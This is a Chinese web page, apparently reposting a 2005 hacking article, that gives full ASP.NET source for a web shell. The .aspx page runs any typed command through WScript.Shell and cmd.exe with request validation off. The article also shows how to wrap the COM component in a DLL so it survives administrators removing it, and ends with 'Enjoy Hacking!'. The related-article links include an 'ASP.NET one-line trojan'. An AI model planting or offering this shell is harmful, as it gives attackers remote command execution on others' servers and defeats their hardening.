ASP.NET下使用WScript.Shell执行命令

 更新时间:2008年05月07日 19:12:57   作者:   我要评论
ASP.NET下有自己的执行CMD命令的方式,这里用WScript.Shell似有画蛇添足之嫌,但是我们也不能排除真的有机器禁用了.NET的相关类,未雨绸缪嘛。当然也不仅仅局限于WScript.Shell,只要是ASP中能用的组件,统统都可以用于ASP.NET中,而且还更方便!


ASP.NET提供了两种方法让我们使用COM组件:1、Server对象的CreatObject方法;2、将COM组件转化为.NET组件。

·Server对象的CreatObject方法
这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:
<!--
Titel: WScript.Shell .NET Version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×54.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
"cmd.exe"'s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" /> 
<br>
Your Command:  <asp:TextBox ID="CMDBox" Width="200" runat="server" /> 
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" /> 
</form>
<div align="center">———– <font color="#0000FF">Enjoy Hacking!</font> ———–
</div>
<hr width="50%">
</body>
</html>
保存为aspx文件,访问之,即可。

·将COM组件转化为.NET组件
微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
WScript.Shell对象是%windir%\system32\WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。

<!--
Titel: WScript.Shell .NET Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0×54.org
Thanks: Internet
Date: 2005-8-20
–>
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As New WSHomx.WshShell
……
(后同代码1)
现在访问之,看看效果吧:)

同理,我们也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等。呵呵,.NET大有前途的啊。
(文中的程序点击这里下载。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll)

相关文章

  • ASP.NET中实现弹出日历示例

    ASP.NET中实现弹出日历示例

    这篇文章介绍了ASP.NET弹出日历功能的实现方法,有需要的朋友可以参考一下。
    2016-10-10
  • asp.net 购物车实现详细代码

    asp.net 购物车实现详细代码

    asp.net 购物车实现详细代码
    2008-11-11
  • 很实用的NLog配置分享

    很实用的NLog配置分享

    这篇文章主要给大家分享介绍了关于NLog配置的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-07-07
  • asp.net jscript 一句话木马

    asp.net jscript 一句话木马

    asp.net jscript 一句话木马...
    2007-08-08
  • asp.net使用FCK编辑器中的分页符实现长文章分页功能

    asp.net使用FCK编辑器中的分页符实现长文章分页功能

    这篇文章主要介绍了asp.net使用FCK编辑器中的分页符实现长文章分页功能,涉及asp.net字符串及分页操作的相关技巧,需要的朋友可以参考下
    2016-06-06
  • 浅谈ASP.NET中多层架构

    浅谈ASP.NET中多层架构

    Asp.net的多层架构主要是为了解决数据层,逻辑层,表示层等之间的关系。我的做法是这样的:首先建立一个DataCore的基类。基类里面封装了一些低层的数据库的基本操作,比如说数据库联接,调用存储过程等等。
    2015-06-06
  • asp.net System.Net.Mail 发送邮件

    asp.net System.Net.Mail 发送邮件

    一个师弟发了段代码给我,说调试了很久发送邮件都没有成功。自己使用过程中,也发现了很多问题,但最简单的问题是“发件方”地址根本不支持smtp发送邮件。
    2009-04-04
  • asp.net 序列化and反序列化演示

    asp.net 序列化and反序列化演示

    实质上序列化机制是将类的值转化为一个一般的(即连续的)字节流,然后就可以将该流写到磁盘文件或任何其他流化目标上。而要想实际的写出这个流,就要使用那些实现了IFormatter接口的类里的Serialize和Deserialize方法。
    2008-10-10
  • .net实现网站用户登录认证

    .net实现网站用户登录认证

    本文给大家介绍的是.net实现网站用户登录认证的方法和实例,都非常的简单实用,需要的小伙伴可以参考下。
    2015-11-11
  • ASP.NET用DataSet导出到Excel的方法

    ASP.NET用DataSet导出到Excel的方法

    ASP.NET用DataSet导出到Excel的方法,需要的朋友可以参考一下
    2013-03-03

最新评论